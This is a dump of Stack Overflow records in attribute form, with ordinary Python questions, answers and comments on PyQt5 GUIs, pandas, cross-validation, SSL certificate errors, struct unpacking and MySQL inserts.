has body: """I have defined certain functions to carry out password encryption. Though the encryptions are functioning properly, I'm unable to use the GUI, written using PyQt5. To be more specific, I'm unable to execute my functions based on the type of encryption selected by the user in the drop-down box/QCombobox. """ class App(QMainWindow): def __init__(self): super().__init__() self.title = 'Password encryption' self.left = 10 self.top = 10 self.width = 400 self.height = 200 self.initUI() def initUI(self): self.setWindowTitle(self.title) self.setGeometry(self.left, self.top, self.width, self.height) # Create textbox self.textbox = QLineEdit(self) self.textbox.move(30, 35) self.textbox.resize(350, 30) # Create a button in the window drop = QComboBox(self) drop.addItem("None") drop.addItem("modlensq") drop.addItem("fishcrypt") drop.addItem("bitman") drop.addItem("caesarcipher") drop.addItem("encryptcipher2") drop.addItem("blowfishencryption") drop.addItem("AES") drop.move(45, 90) inp = QLabel(self) inp.setText("Enter the password:") inp.move(5, 5) # Create a drop down list to select in the window self.button = QPushButton('Encrypt', self) self.button.move(135, 150) # connect button to function on_click self.button.clicked.connect(self.on_click) self.show() @pyqtSlot() def on_click(self): textboxValue = self.textbox.text() QMessageBox.question(self, 'password after encryption', "encrypted form: " + textboxValue , QMessageBox.Ok, QMessageBox.Ok) self.textbox.setText("") if __name__ == '__main__': app = QApplication(sys.argv) ex = App() sys.exit(app.exec_())
score: 1
answer count: 1
favorite count: 0
tagged with: python-3.x
type: Question
type: UnansweredQuestion

http://stackoverflow.com/q/49584705
has body: This is my first time running k-fold cross validation and I am getting confused about a phenomenon I saw from the output. Basically, the 5-fold cross validations consistently give model 8 (Adaboost Classifier) and model 9 (Gradient Boosting Classifier) the highest accuracy scores as you can see below. However, when I run those ML models individually by using 20% of the dataset as testing data, model 7 (Random Forest Classifier) always produce the highest accuracy among all 5 models according to the confusion matrix and AUC. My initial expectation was that a ML model with high k-fold cross validation accuracy should also return high accuracy if I were to run that ML model individually. That doesn't seem to be the case here. Could someone please explain to me why I am seeing this discrepancy? These are the ML models I used to train the data: model6 = DecisionTreeClassifier() model7 = RandomForestClassifier(n_estimators=300) model8 = AdaBoostClassifier(n_estimators=300) model9 = GradientBoostingClassifier(n_estimators=300, learning_rate=1.0, max_depth=1, random_state=0) model10 = KNeighborsClassifier(n_neighbors=5) HERE ARE MY COMPLETE CODES FOR THE 5-FOLD CV AND INDIVIDUAL ML MODELS: X_train, X_test, Y_train, Y_test = train_test_split(whole_data_input, whole_data_output, test_size=0.2) X_train.reset_index(inplace=True) #To remove the index column: X_train.drop(['index'],axis=1,inplace=True) X_test.reset_index(inplace=True) #To remove the index column: X_test.drop(['index'],axis=1,inplace=True) Y_train.reset_index(inplace=True) #To remove the index column: Y_train.drop(['index'],axis=1,inplace=True) Y_test.reset_index(inplace=True) #To remove the index column: Y_test.drop(['index'],axis=1,inplace=True) warnings.filterwarnings('ignore') model6 = DecisionTreeClassifier() model7 = RandomForestClassifier(n_estimators=300) model8 = AdaBoostClassifier(n_estimators=300) model9 = GradientBoostingClassifier(n_estimators=300, learning_rate=1.0,max_depth=1, random_state=0) model1…
accepted answer: http://stackoverflow.com/a/49728221
has comment: http://stackoverflow.com/comment/86178439
tagged with: cross-validation
tagged with: python
has comment: http://stackoverflow.com/comment/86419689
has comment: http://stackoverflow.com/comment/86187357
has comment: http://stackoverflow.com/comment/86260757
has comment: http://stackoverflow.com/comment/86188193
type: AnsweredQuestion
score: 0
has title: Accuracy ranking of K-fold cross validation doesn't agree with accuracy ranking of individual model
has comment: http://stackoverflow.com/comment/86344485
has answer: http://stackoverflow.com/a/49728221
has comment: http://stackoverflow.com/comment/86187834
answer count: 1
has comment: http://stackoverflow.com/comment/86470280
tagged with: precision-recall
has comment: http://stackoverflow.com/comment/86334398
type: Question
tagged with: auc

http://stackoverflow.com/q/49443258
type: Question
has answer: http://stackoverflow.com/a/49456572
type: UnansweredQuestion
tagged with: python
downvote count: 0
score: 1
upvote count: 1
answer count: 1
tagged with: user-interface
has body: this is the first writing for asking.. I would like to make a program for currency. everything works well without looping. I used 'while' but it frozen the GUI. so I searched for solution, and I found timer in pyqt5. but I don't know how to use. If you can help me, it is really honor to me. sorry for my bad English. Here's the my full code import sys from PyQt5.QtWidgets import * from bs4 import BeautifulSoup import requests from requests.compat import urljoin import time from PyQt5 import QtCore global Currency class MyWindow(QWidget): def __init__(self): super().__init__() self.setupUI() self.Searching_Currency() def setupUI(self): self.setGeometry(800, 200, 300, 100) self.label1 = QLabel("Currency: ") self.label2 = QLabel("Searching for") self.label3 = QLabel("") self.lineEdit2 = QLineEdit() self.pushButton1= QPushButton("Search") self.pushButton2= QPushButton("to get alert") self.pushButton3= QPushButton("reset") self.pushButton4= QPushButton("quit") self.pushButton1.clicked.connect(self.btn1_clicked) self.pushButton2.clicked.connect(self.btn2_clicked) self.pushButton3.clicked.connect(self.btn3_clicked) self.pushButton4.clicked.connect(self.btn4_clicked) layout = QGridLayout() layout.addWidget(self.label1, 0, 0) layout.addWidget(self.label3, 0, 1) layout.addWidget(self.pushButton1, 0, 2) layout.addWidget(self.label2, 1, 0) layout.addWidget(self.lineEdit2, 1, 1) layout.addWidget(self.pushButton2, 1, 2) layout.addWidget(self.pushButton3, 2, 0) layout.addWidget(self.pushButton4, 2, 1) self.setLayout(layout) def btn1_clicked(self): global Currency self.Searching_Currency() self.label3.setText(str(Currency)) def btn2_clicked(self): global Currency textboxValue = float(self.lineEdit2.text()) if textboxValue &gt; Currency: QMessageBox.question(self, 'alert', "done. it is " + str (textboxValue), QMessageBox.Ok, QMessageBox.Ok) # #### I don't know how to use timer.. to check every 1mins. # self.timer = QtCore.QTimer() # self.timer.timeout.connect(self.update) # self.time…
has title: how to use timer in PYQT5 for loop
tagged with: pyqt5
favorite count: 0

http://stackoverflow.com/comment/86035866
type: Comment
type: QuestionComment
has text: @rayryeng OP already mentioned that concatting a string and then converting to int is too slow for him
comment on: http://stackoverflow.com/q/49515360
score: 0

http://stackoverflow.com/a/53053484
score: 0
type: Answer
has body: This is the most popular 'python webservice without lambda" library I've seen for Alexa. https://github.com/johnwheeler/flask-ask
answers question: http://stackoverflow.com/q/49487077

http://stackoverflow.com/q/49477107
has title: pandas: fill nans given a condition
has answer: http://stackoverflow.com/a/54941695
favorite count: 0
has answer: http://stackoverflow.com/a/49477206
type: Question
has body: I'm struggling with something that seemed to be trivial but apparently isn't. General picture: data - pandas dataframe - contains(among others) TOTAL_VISITS and NUM_PRINTS columns. Objective: given num_prints parameter, find rows where NUM_prints = num_prints and fill nans with a given number. Where I stopped and it didn't make sense anymore: indices= data['NUM_PRINTS'] == num_prints data.loc[indices,'TOTAL_VISITS'].fillna(5,inplace=True) This should work as much as I know and read. didn't fill nans with anything in practice, seemed like it worked with a copy or something as it didn't change anything in the original object. What works: data.loc[indices,'TOTAL_VISITS'] = 2 this does fill the column with 2's on the num_print condition, but does not consider nans. data['TOTAL_VISITS'].fillna(0, inplace=True) this does fill the nans in total visits with 0, but does not consider the num_prints condition. I'm kinda hopeless as a regular for loop with .iloc and conditions takes way too long than I can handle.
type: UnansweredQuestion
score: 6
upvote count: 6
tagged with: python
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/49482020
tagged with: pandas

http://stackoverflow.com/comment/85986191
type: Comment
type: QuestionComment
has text: It would probably be helpful if you told us what type `df1` and `df2` are. (I've got a guess, but it's one from a third-party library not among your tags)
score: 2
comment on: http://stackoverflow.com/q/49491463

http://stackoverflow.com/q/49453444
has body: I am using the Python version of the Shogun Toolbox. I want to use the LinearTimeMMD, which accepts data under the streaming interface CStreamingFeatures. I have the data in the form of two RealFeatures objects: feat_p and feat_q. These work just fine with the QuadraticTimeMMD. In order to use it with the LinearTimeMMD, I need to create StreamingFeatures objects from these - In this case, these would be StreamingRealFeatures, as far as I know. My first approach was using this: gen_p, gen_q = StreamingRealFeatures(feat_p), StreamingRealFeatures(feat_q) This however does not seem to work: The LinearTimeMMD delivers warnings and an unrealistic result (growing constantly with the number of samples) and calling gen_p.get_dim_feature_space() returns -1. Also, if I try calling gen_p.get_streamed_features(100) this results in a Memory Access Error. I tried another approach using StreamingFileFromFeatures: streamFile_p = sg.StreamingFileFromRealFeatures() streamFile_p.set_features(feat_p) streamFile_q = sg.StreamingFileFromRealFeatures() streamFile_q.set_features(feat_q) gen_p = StreamingRealFeatures(streamFile_p, False, 100) gen_q = StreamingRealFeatures(streamFile_q, False, 100) But this results in the same situation with the same described problems. It seems that in both cases, the contents of the RealFeatures object handed to the StreamingRealFeatures object cannot be accessed. What am I doing wrong? EDIT: I was asked for a small working example to show the error: import os SHOGUN_DATA_DIR=os.getenv('SHOGUN_DATA_DIR', '../../../data') import shogun as sg from shogun import StreamingRealFeatures import numpy as np from matplotlib import pyplot as plt from scipy.stats import laplace, norm def sample_gaussian_vs_laplace(n=220, mu=0.0, sigma2=1, b=np.sqrt(0.5)): # sample from both distributions X=norm.rvs(size=n)*np.sqrt(sigma2)+mu Y=laplace.rvs(size=n, loc=mu, scale=b) return X,Y # Main Script mu=0.0 sigma2=1 b=np.sqrt(0.5) n=220 X,Y=sample_gaussian_vs_laplace(n, mu, sigma2…
has comment: http://stackoverflow.com/comment/86701452
has comment: http://stackoverflow.com/comment/86734281
tagged with: shogun
has title: Python/Shogun Toolbox: Convert RealFeatures to StreamingRealFeatures
tagged with: python
type: Question
score: 0
has answer: http://stackoverflow.com/a/49866479
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86700931
has comment: http://stackoverflow.com/comment/86719872
answer count: 1

http://stackoverflow.com/q/49505046
tagged with: urllib2
has comment: http://stackoverflow.com/comment/86015551
has comment: http://stackoverflow.com/comment/86015018
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86015185
has comment: http://stackoverflow.com/comment/86040568
tagged with: ssl
tagged with: python
has title: Python urllib2 ssl certificate verify failed error
linked to: http://stackoverflow.com/q/27835619
has comment: http://stackoverflow.com/comment/86015278
has comment: http://stackoverflow.com/comment/86014313
has comment: http://stackoverflow.com/comment/86042262
score: 0
has comment: http://stackoverflow.com/comment/86016063
answer count: 0
has body: I'm trying to connect to an internal site using urlopen. And it's failing repeatedly with SSL error irrespective of providing cafile. I tried all the various ways explained in the stackoverflow answers. But no luck. urllib2.urlopen(url,cafile=certifi.where()) Second Way: context = ssl.create_default_context(cafile=certifi.where()) urllib2.urlopen(url,context=context) Third Way: ctx = ssl.create_default_context() ctx.load_verify_locations(cafile = certifi.where()) urllib2.urlopen(url,context=ctx) Whichever way, I try, I get the following error. Traceback (most recent call last): File "<stdin>", line 1, in <module> File "urllib2.py", line 154, in urlopen return opener.open(url, data, timeout) File "urllib2.py", line 429, in open response = self._open(req, data) File "urllib2.py", line 447, in _open '_open', req) File "urllib2.py", line 407, in _call_chain result = func(*args) File "urllib2.py", line 1241, in https_open context=self._context) File "urllib2.py", line 1198, in do_open raise URLError(err) urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)> I've added the entry of CA certificate to the file certifi.where() too. I use the python version 2.7.14. Could someone tell me whether I miss something here? Or the python version, that I use doesn't support it? Also, let me know the way to debug this, that is, to find out whether there is any issue with the CA certificate. Thanks. EDIT: I don't want to opt out SSL verification as suggested in one of the answers in urllib and "SSL: CERTIFICATE_VERIFY_FAILED" Error. The other answer tells me to use cafile with urlopen which doesn't work in my case. I've tried the solutions given in the answers of this question; but no luck. Also, openssl throws the following error. [root@host1 ~]# openssl s_client -connect url -CAfile "cacert.pem" ... Certificate chain ... Server certificate -----BEGIN CERTIFICATE----- ... -----END CERTIFICATE----- ... No client certificate CA names s…
has comment: http://stackoverflow.com/comment/86016713
has comment: http://stackoverflow.com/comment/86015723
has comment: http://stackoverflow.com/comment/86014938
type: Question

http://stackoverflow.com/comment/86103965
score: 0
type: Comment
has text: Also try code from my answer one more time, there must be a "parent" in your fields, not "sha256"
type: AnswerComment
comment on: http://stackoverflow.com/a/49548303

http://stackoverflow.com/comment/85946255
type: QuestionComment
has text: I don't mean "look like a compressed data", I mean "look like exactly the same compressed data you sent from the other side".
score: 0
comment on: http://stackoverflow.com/q/49471718
type: Comment

http://stackoverflow.com/comment/86177285
comment on: http://stackoverflow.com/q/49584007
type: Comment
type: QuestionComment
has text: @AdrianoMartins When I restart the script immediately after the exception, it works just fine and runs until it's at 70-somethingth trial. I wait 10 minutes before retrying when the error happens, but at that point the connection is refused. I believe I clearly explained the error in the question and the error itself does not give much information. Based on [this question](https://stackoverflow.com/questions/28869168/connectionrefusederror-winerror-10061-no-connection-could-be-made-because-the), the issue may be related to the number of requests, which is exactly the case I have described.
score: 0

http://stackoverflow.com/comment/86074876
comment on: http://stackoverflow.com/q/49534162
type: QuestionComment
has text: Show us what you tried, it will be easier to help. But yes, you need to take the data from the file, sort even and odd number then plot it
score: 0
type: Comment

http://stackoverflow.com/a/49498609
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/49498575
has comment: http://stackoverflow.com/comment/86001379
has comment: http://stackoverflow.com/comment/86001248
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86001178
accepted answer of: http://stackoverflow.com/q/49498575
has body: You can try dropna with thresh df=df.dropna(axis=1,thresh=len(df)).reset_index()
has comment: http://stackoverflow.com/comment/86001400

http://stackoverflow.com/a/49530018
downvote count: 0
upvote count: 1
has body: opencv can read image simply. import cv2 img = cv2.imread('image.png') print(img.shape) cy=img.shape[0] cx=img.shape[1] f = open('img.txt', 'w') for row in img: for col in row: str="%02x%02x%02x"%(col[0], col[1], col[2]) f.write(str) f.close()
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86070916
answers question: http://stackoverflow.com/q/49529764

http://stackoverflow.com/q/49532873
answer count: 2
downvote count: 0
tagged with: pandas
has answer: http://stackoverflow.com/a/49532919
possible better answer: http://stackoverflow.com/a/49532919
has answer: http://stackoverflow.com/a/49533103
has comment: http://stackoverflow.com/comment/86074212
favorite count: 0
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/50103582
has body: What is the difference between sep and delimiter attributes in pandas.read_csv() method? Also what is the situation when I would choose one over the other? In documentation I read something about Python builtin sniffer tool, also in delimiter, it says alternative argument name for sep, then why cant we have only one attribute?
has comment: http://stackoverflow.com/comment/86072260
accepted answer: http://stackoverflow.com/a/49533103
tagged with: python
has comment: http://stackoverflow.com/comment/87224363
tagged with: delimiter
score: 22
upvote count: 22
type: Question
has title: What is the difference between `sep` and `delimiter` attributes in pandas.read_csv() method?

http://stackoverflow.com/comment/86119960
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/49540386
type: Comment
has text: @martineau: the reason it returns the screen size is because the code has the canvas fill the window, and the code explicitly makes the window the same size as the screen.

http://stackoverflow.com/comment/85920842
type: QuestionComment
comment on: http://stackoverflow.com/q/49457382
type: Comment
has text: I'm using Python 3.6.4
score: 0

http://stackoverflow.com/a/49461483
has body: It's allowed, but it's also a lot more dangerous than people usually realize. Say you have the following class: class Thing: def __init__(self): self._cached_size = self.compute_size() def compute_size(self): return 1000 That seems to work fine on its own, but then if you try to subclass it: class SubThing(Thing): def __init__(self, more_stuff): super().__init__() self.more_stuff = more_stuff def compute_size(self): return super().compute_size() + self.more_stuff SubThing(5) Everything goes to pieces, because Thing.__init__ calls SubThing.compute_size, and SubThing.compute_size assumes self.more_stuff is ready, but it's not ready: Traceback (most recent call last): File "./prog.py", line 14, in &lt;module&gt; File "./prog.py", line 9, in __init__ File "./prog.py", line 3, in __init__ File "./prog.py", line 12, in compute_size AttributeError: 'SubThing' object has no attribute 'more_stuff' You should essentially never call methods in __init__ that you expect to be overridden, since your object is in a very precarious, half-constructed state, especially the parts of its state that subclasses are responsible for. If you want to use your own class's version of a method and ignore overrides (dodging the problem of subclass state), you can call it directly: class Thing: def __init__(self): self._cached_size = Thing.compute_size(self) def compute_size(self): return 1000 Some people might recommend having subclasses initialize their state before calling super().__init__, but that leads into a really nastily coupled mess of different classes depending on specific parts of other classes being ready. It's not going to decrease the number of problems you have.
has comment: http://stackoverflow.com/comment/85926601
downvote count: 0
answers question: http://stackoverflow.com/q/49461385
has comment: http://stackoverflow.com/comment/85926718
type: Answer
score: 3
upvote count: 3

coding-style
type: Tag
tags question: http://stackoverflow.com/q/49480884
tag name: coding-style

http://stackoverflow.com/a/49622641
type: Answer
answers question: http://stackoverflow.com/q/49591454
has comment: http://stackoverflow.com/comment/86350957
has comment: http://stackoverflow.com/comment/86350186
score: 0
has comment: http://stackoverflow.com/comment/86343578
has comment: http://stackoverflow.com/comment/86364709
has body: You dont need to define the fields again in your modelform. Also you are using FileField in the form instead of ImageField. If you want to add extra field in the form, you need to add those fields in __init__() method of form. Try with the following: class Worker_enrollment(forms.ModelForm): class Meta: model = Worker fields = ['name','address','phone_number','designation','docfile','ssn'] Extra tip: Dont use CharField with max_length=1000. CharField should be used upto 255 characters. If you need more length use TextField instead. You also need to install Pillow library in order to make images visible.
has comment: http://stackoverflow.com/comment/86351721
has comment: http://stackoverflow.com/comment/86352344

http://stackoverflow.com/comment/85952825
type: QuestionComment
has text: Without knowing the details of your model, explicitly fixing mispredictions sounds like it would be unnecessary as those should already be punished by whatever objective function you are optimizing during parameter estimation.
comment on: http://stackoverflow.com/q/49474782
score: 0
type: Comment

http://stackoverflow.com/q/49466271
has comment: http://stackoverflow.com/comment/85935408
has comment: http://stackoverflow.com/comment/85935168
has comment: http://stackoverflow.com/comment/85935278
upvote count: 2
has comment: http://stackoverflow.com/comment/85935311
type: AnsweredQuestion
answer count: 2
score: 1
has comment: http://stackoverflow.com/comment/85935175
downvote count: 1
favorite count: 0
has body: I have a data frame with the below structure: Ranges Relative_17-Aug Relative_17-Sep Relative_17-Oct 0 (0.0, 0.1] 1372 1583 1214 1 (0.1, 0.2] 440 337 648 2 (0.2, 0.3] 111 51 105 3 (0.3, 0.4] 33 10 19 4 (0.4, 0.5] 16 4 9 5 (0.5, 0.6] 7 7 1 6 (0.6, 0.7] 4 3 0 7 (0.7, 0.8] 5 1 0 8 (0.8, 0.9] 2 3 0 9 (0.9, 1.0] 2 0 1 10 (1.0, 2.0] 6 0 2 I am trying to replace column ranges with a dictionary using the below code but it is not working, any hints if I am doing something wrong: mydict= {"(0.0, 0.1]":"&lt;=10%","(0.1, 0.2]":"&gt;10% and &lt;20%","(0.2, 0.3]":"&gt;20% and &lt;30%", "(0.3, 0.4]":"&gt;30% and &lt;40%", "(0.4, 0.5]":"&gt;40% and &lt;50%", "(0.5, 0.6]":"&gt;50% and &lt;60%", "(0.6, 0.7]":"&gt;60% and &lt;70%", "(0.7, 0.8]":"&gt;70% and &lt;80%", "(0.8, 0.9]":"&gt;80% and &lt;90%", "(0.9, 1.0]":"&gt;90% and &lt;100%", "(1.0, 2.0]":"&gt;100%"} t_df["Ranges"].replace(mydict,inplace=True) Thanks!
has title: Pandas Replace Values with Dictionary
type: Question
tagged with: pandas
tagged with: dataframe
tagged with: python
tagged with: dictionary
accepted answer: http://stackoverflow.com/a/49466318
possible better answer: http://stackoverflow.com/a/49466428
has answer: http://stackoverflow.com/a/49466318
has answer: http://stackoverflow.com/a/49466428

http://stackoverflow.com/q/49536332
tagged with: pandas-groupby
tagged with: pandas
has answer: http://stackoverflow.com/a/49539562
has answer: http://stackoverflow.com/a/56013350
has body: I have a list as follows. [['Andrew', '1', '9'], ['Peter', '1', '10'], ['Andrew', '1', '8'], ['Peter', '1', '11'], ['Sam', '4', '9'], ['Andrew', '2', '2']] I would like sum up the last column grouped by the other columns.The result is like this [['Andrew', '1', '17'], ['Peter', '1', '21'], ['Sam', '4', '9'], ['Andrew', '2', '2']] which is still a list. In real practice, I would always like to sum up the last column grouped by many other columns. Is there a way I can do this in Python? Much appreciated.
tagged with: dataframe
downvote count: 1
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/10532473
has title: How to sum a column grouped by other columns in a list?
has answer: http://stackoverflow.com/a/49536403
tagged with: python
answer count: 6
accepted answer: http://stackoverflow.com/a/49536386
score: 15
has answer: http://stackoverflow.com/a/49536441
possible better answer: http://stackoverflow.com/a/49536477
upvote count: 16
has answer: http://stackoverflow.com/a/49536386
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49536477
tagged with: list

http://stackoverflow.com/comment/86159482
score: 0
type: QuestionComment
has text: `plot` would expect two arguments `x`, `y`, `plot(x,y)`. Those should be the coordinates of the circle. You currently do not even have those coordinates anywhere in your code.
comment on: http://stackoverflow.com/q/49574246
type: Comment

http://stackoverflow.com/a/49589788
has body: Change the line if player.collidepoint(event.pos): to if player.rect.collidepoint(event.pos):
answers question: http://stackoverflow.com/q/49589732
type: Answer
score: 1
upvote count: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49589732

http://stackoverflow.com/a/49450177
has comment: http://stackoverflow.com/comment/85926622
has comment: http://stackoverflow.com/comment/85926678
type: Answer
has comment: http://stackoverflow.com/comment/85925906
has comment: http://stackoverflow.com/comment/85926822
upvote count: 3
has comment: http://stackoverflow.com/comment/85926776
has body: I think need: d = pd.concat(dfs1).div(80).astype(int) d = d.groupby(level=1).transform('sum').sub(d).groupby(level=1).apply(list).to_dict() print (d) {'2017-06-09': [0], '2017-05-08': [1, 1], '2017-05-09': [2, 2], '2017-05-07': [1, 2], '2017-05-06': [3, 2]} Explanation: First create MultiIndex DataFrame by concat Divide by div and if necessary convert to ints For sum per groups use transform for possible subtract values by sub Last create lists with GroupBy.apply
downvote count: 0
has comment: http://stackoverflow.com/comment/85926528
answers question: http://stackoverflow.com/q/49449922
has comment: http://stackoverflow.com/comment/85925893
score: 3

http://stackoverflow.com/q/49503538
has title: Test Built Python Package
answer count: 1
has body: So I recently built a Python package that required a few YAML files for configuration. Following the distribution instructions I created a manifest file that looks like the following: include LICENSE.txt recursive-include thecurator *.yml *.csv *.json *.txt According to the docs, I should have expected for the file to end up in the package... but it didn't, and after this screw up, I'm wondering how would I go about testing the built package against my pytest suite to make sure everything will work as expected after a build?
type: Question
accepted answer: http://stackoverflow.com/a/49503683
has answer: http://stackoverflow.com/a/49503683
tagged with: python
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/49471634
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/85945981
upvote count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85946001
has comment: http://stackoverflow.com/comment/85946125
has body: I have some old py2 code that I used to open a binary file and read+modify a bunch of data from it. I'm now calling this from a py3 script and I've been attempting to convert it, but I'm stuck. There's this line: tmp = list(struct.unpack("f" * size, f.read(4 * size))) where f = open(filename, 'rb') and size is always 200. When I run it, I get struct.error: unpack requires a bytes object of length 800. I did a print of f.read(4 * size) and it only gave me b'', which obviously isn't 800 characters long, so is that the issue? Here's the full code for context: def getVectorData(filename): f = open(filename,"rb") words = int(f.read(4)) # # of unique words size = int(f.read(4)) # # of dimensions vocab = [" "] * (words * max_w) M = [] for b in range(0,words): a = 0 while True: c = f.read(1) # reading each word character by character. #print(c) # this does return actual data, not just '' vocab[b * max_w + a] = c; if len(c) == 0 or c == ' ': break if (a &lt; max_w) and vocab[b * max_w + a] != '\n': a += 1 print(f.read(4 * size)) tmp = list(struct.unpack("f"*size,f.read(4 * size)))
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85946014
has comment: http://stackoverflow.com/comment/85946003
has comment: http://stackoverflow.com/comment/85946108
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/85946143
tagged with: python-3.x
tagged with: python-2.7
has title: Converting struct.unpack usage from python 2 to 3

http://stackoverflow.com/comment/86127607
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49546499
type: Comment
has text: thanks, sizes do not matter (don't need to be all the same), so you are right, i need to figure out the bounding from top, bottom, etc. Any idea on how to do that?

http://stackoverflow.com/comment/85906760
type: Comment
score: 0
type: AnswerComment
has text: Thanks! This is great although took me 10 minutes to figure it out!
comment on: http://stackoverflow.com/a/49452005

http://stackoverflow.com/comment/85948970
has text: Also, this should go without saying, but… this is a really bad idea for any purpose but exploring the implementation of CPython. The interpreter expects strings to be immutable, and all kinds of things can break if you violate that.
score: 2
comment on: http://stackoverflow.com/q/49473256
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49483552
type: Question
has comment: http://stackoverflow.com/comment/85971653
has comment: http://stackoverflow.com/comment/85974246
has comment: http://stackoverflow.com/comment/85970863
has comment: http://stackoverflow.com/comment/85984293
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85970162
tagged with: python
has comment: http://stackoverflow.com/comment/85969999
has body: I have sample code like this: import csv import MySQLdb mydb = MySQLdb.connect(host='localhost', user='root', passwd='root', db='marbola') cursor = mydb.cursor() with open('./Team_Attributes.csv') as csv_data: csv_reader = csv.reader(csv_data) next(csv_reader, None) for row in csv_reader: insert=( "INSERT INTO Team_Attributes(id,team_fifa_api_id,team_api_id,date,buildUpPlaySpeed,buildUpPlaySpeedClass,buildUpPlayDribbling,buildUpPlayDribblingClass,buildUpPlayPassing,buildUpPlayPassingClass,buildUpPlayPositioningClass,chanceCreationPassing,chanceCreationPassingClass,chanceCreationCrossing,chanceCreationCrossingClass,chanceCreationShooting,chanceCreationShootingClass,chanceCreationPositioningClass,defencePressure,defencePressureClass,defenceAggression,defenceAggressionClass,defenceTeamWidth,defenceTeamWidthClass,defenceDefenderLineClass)" + " VALUES(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)" ) cursor.execute(insert, row[:25]) mydb.commit() cursor.close() print("Done") I used above code to insert data into mysql database from csv file. The csv file is the import result from sqlite database of football analysis from kaggle.com. But there is an error: _mysql_exceptions.OperationalError: (1366, "Incorrect integer value: '' for column 'buildUpPlayDribbling' at row 1") This is the csv sample image: Whats wrong with the code? How to solve this error? I used python 3.5
has comment: http://stackoverflow.com/comment/85975084
has comment: http://stackoverflow.com/comment/85970851
score: 0
has comment: http://stackoverflow.com/comment/85974991
has comment: http://stackoverflow.com/comment/85970544
answer count: 0
has comment: http://stackoverflow.com/comment/85970507
has title: Incorrect integer value when insert data to mysql database python
has comment: http://stackoverflow.com/comment/85970108
has comment: http://stackoverflow.com/comment/85972251

http://stackoverflow.com/comment/86060555
comment on: http://stackoverflow.com/a/49527269
score: 1
type: Comment
has text: @MaryamRahmaniMoghaddam Can you check the shape of your `y` again, I can't reproduce the error while fitting `x.shape = y.shape = (1, 10, 64, 64, 1)`. By looking at the error (10, 4096). It looks like your inputs or `y` is somehow flattened. If it is your `y` you may need to reshape or change the output shape of your model.
type: AnswerComment

google-translate
tags question: http://stackoverflow.com/q/49498801
tags question: http://stackoverflow.com/q/49497391
tag name: google-translate
type: Tag

http://stackoverflow.com/comment/86085593
score: 0
type: Comment
type: QuestionComment
has text: errr, it was coming from "thinking I knew python scoping" :) thanks for your excellent answer. I guessed more or less right and knew how to fix the issue. I thought scoping was even more dynamic, where it wasn't.
comment on: http://stackoverflow.com/q/49538724

http://stackoverflow.com/comment/86155655
type: Comment
type: QuestionComment
has text: i have added some instances of matrixD
score: 0
comment on: http://stackoverflow.com/q/49573946

http://stackoverflow.com/comment/85967169
has text: @NathanTurczan Well, _every_ chain ends with a loner (unless loops are allowed?). So, just identify the start-loners by iterating the dict, then for each one generate the chain from there.
score: 0
comment on: http://stackoverflow.com/a/49482051
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/85949919
type: QuestionComment
has text: So, do you want to calculate the avarage of the last five values in _each_ sublist of the list, e.g., the average of `[8464.99, 8470, 8464.99, 8470, 1.8307073700000003]`?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49473628

python-2.6
type: Tag
tag name: python-2.6
tags question: http://stackoverflow.com/q/49577290

http://stackoverflow.com/a/49542269
has comment: http://stackoverflow.com/comment/86095596
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49541070
has body: Use format(): list1 = ('111', '222', '333') myString = ",".join("'{0}'".format(elem) for elem in list1) print(myString) gives '111','222','333'
upvote count: 2
answers question: http://stackoverflow.com/q/49541070
type: Answer
score: 2

http://stackoverflow.com/comment/85925864
comment on: http://stackoverflow.com/a/49461427
score: 0
type: AnswerComment
has text: `print('\n'.join(' '.join(str(s) for s in k) for k, v in x.items() if v > 1))`
type: Comment

http://stackoverflow.com/comment/85993329
type: Comment
comment on: http://stackoverflow.com/q/49494160
type: QuestionComment
score: 0
has text: @Dschoni If it is impossible, then question ends. No openCV isn't installed on target.

http://stackoverflow.com/a/49529631
accepted answer of: http://stackoverflow.com/q/49527846
type: Answer
score: 1
type: AcceptedAnswer
downvote count: 0
has body: Here is a working code to solve your problem names = [] data = [] for row in range(model.rowCount()): name = model.data(model.index(row, 0)) data.append((name)) names.append(name) for name in names: decoded_name = bytes(name).decode() print(decoded_name)
upvote count: 1
answers question: http://stackoverflow.com/q/49527846
has comment: http://stackoverflow.com/comment/86065212

http://stackoverflow.com/comment/101190513
comment on: http://stackoverflow.com/a/49772477
type: Comment
has text: @eyllanesc I linked your answer according to the same link used in this same question, but it was just for reference, since the OP used it as a starting point for his own implementation. But, if you think that it's better that I review and rephrase that paragraph, I'll do it.
type: AnswerComment
score: 0

http://stackoverflow.com/q/49441354
type: AnsweredQuestion
score: 0
answer count: 2
tagged with: pycharm
possible better answer: http://stackoverflow.com/a/49441387
has title: Arithmetic operations in PyCharm
type: Question
accepted answer: http://stackoverflow.com/a/49441402
has answer: http://stackoverflow.com/a/49441402
has body: It's my first time using PyCharm and when I try to do arithmetic operations and run the program, I don't see any output in console. When I print my operation's result, however, I see it. 20/2 no result print(20/2) 10.0 Why is that? Thank You.
has comment: http://stackoverflow.com/comment/85884658
has answer: http://stackoverflow.com/a/49441387
tagged with: python

http://stackoverflow.com/q/49470274
